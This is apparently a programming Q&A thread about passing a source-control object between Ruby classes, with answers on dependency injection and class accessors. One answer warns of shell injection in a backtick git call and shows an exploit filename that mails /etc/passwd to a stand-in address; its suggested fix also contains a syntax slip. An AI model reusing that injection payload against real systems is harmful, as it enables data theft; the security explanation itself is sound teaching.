Avoid passing variable from class to class

Question

For context, I have a SourceControlSystem factory class that detects if a user is using Git, SVN, or another source control system and returns an object to interact with that source control system. The implementation is here, but I don't think it's very relevant.

So, at the start of my library, I have this single line:

@source_control_system = SourceControlSystem.create

Now the problem is that some classes depend on this variable. I have a Churn class that needs this variable, but a Churn class instance is only created inside of a Turbulence class.

So I'm doing stuff like the following:

First, I pass @source_control_system to a Turbulence instance:

Turbulence.new(@source_control_system).data

And then inside the Turbulence class:

class Turbulence
  def initialize(source_control_system)
    @source_control_system = source_control_system
  end

  ...

  # Turbulence doesn't need @source_control_system
  # It merely passes it to Churn
  def churn
    @churn ||= Churn.new(@paths, @source_control_system).churn
  end
end

And then I finally pass it to to the Churn class:

class Churn
  def initialize(paths, source_control_system)
    @paths = paths
    @source_control_system = source_control_system
  end

  # do stuff with @source_control_system here
end

Do you consider this to be a problem or not?

I don't think creating that variable is that expensive so I could just call SourceControlSystem.create twice, once inside the Churn class and another outside of it. Do you see any harm in that? I could do that but it seems... odd.

Or should SourceControlSystem be some sort of global singleton object? That way, every class that needed it could instantly access it and call methods on it. You know, like the Math module. That way, I wouldn't have to keep passing it as an argument to a bunch of classes.

How would you do it?

Answer 1

Do you consider this to be a problem or not?

This is good design! You make the state and the dependencies of your classes explicit. Imagine another developer needs to work with your code. He immediatly sees "oh, this turbulence needs access to the SourceControlSystem and it is given the access by this argument here!"

Just note, that if you create multiple instances of Turbulence you don't always have to use Turbulence.new(@source_control_system) but you can either create a factory for specific turbulences or curry/partial apply the new (although I don't know if thats possible in ruby).

Answer 2

I need to comment on an aspect of the code that you did not ask about, which is the way you invoke git as an external command:

def revisions_count(file)
  `git log --follow --format=oneline #{file}`.count("\n")
end

That filename interpolation is dangerous. You might get a "benign" failure if, for example, the filename contains a space. In the worst case, the filename might contain a shell metacharacter, such as a semicolon, which could lead to the execution of arbitrary code.

Here's an example of it being exploited on a Unix system. At the shell prompt, create the malicious file:

touch '; mail badguys@example.com < `printf "\057etc\057passwd"`'

(I've used printf to work around the restriction that Unix filenames can contain any character except / and NUL.)

Then, run the following Ruby code:

revisions_count(*Dir.glob('*badguys*'))

Backticks are a handy technique for throwaway code, but aren't really suitable for production-quality code. Your Git class should have one common codepath for executing git securely.

class Git
  class GitError < Exception ; end

  # Executes git with the given command-line arguments.
  # If a block is given, then the block is called with git's output as an IO object.
  # Raises Git::GitError if the command did not exit with a successful status.
  # Otherwise, returns the result of the block (if there is a block) or
  # the Process::Status object (if no block is given).
  def self.git(*args)
    IO::popen(['git', *args], 'w+') do |pipe|
      begin
        return block_given? ? (yield pipe) : $?
      ensure
        begin
          pipe.read  # Drain the pipe to avoid SIGPIPE
        end
        pipe.close unless pipe.closed?
        raise GitError.new unless $?.success?
      end
    end
  end

  def revisions_count(file)
    git('log', '--follow', '--format=oneline', file) do
     |pipe| pipe.to_a.length
    do
  end
end

If you need compatibility with Ruby 1.8, whose IO::popen does not take an array…

  def self.git(*args)
    IO::popen('-', 'w+') do |pipe|
      if pipe.nil?
        # Parent
        Kernel.exec('git', *args)
      else
        # Child
        begin
          return block_given? ? (yield pipe) : $?
        ensure
          begin
            pipe.read  # Drain the pipe to avoid SIGPIPE
          end
          pipe.close unless pipe.closed?
          raise GitError.new unless $?.success?
        end
      end
    end
  end

Answer 3

Why not create a static property on the Churn class for the source control object:

class Churn
  cattr_accessor :source_control
  ...
end

Then somewhere during the application init process:

Churn.source_control = SourceControlSystem.create

Edit: Setting the source control object at application init would also allow you to throw in the source control info into a YAML file, if you haven't already done that.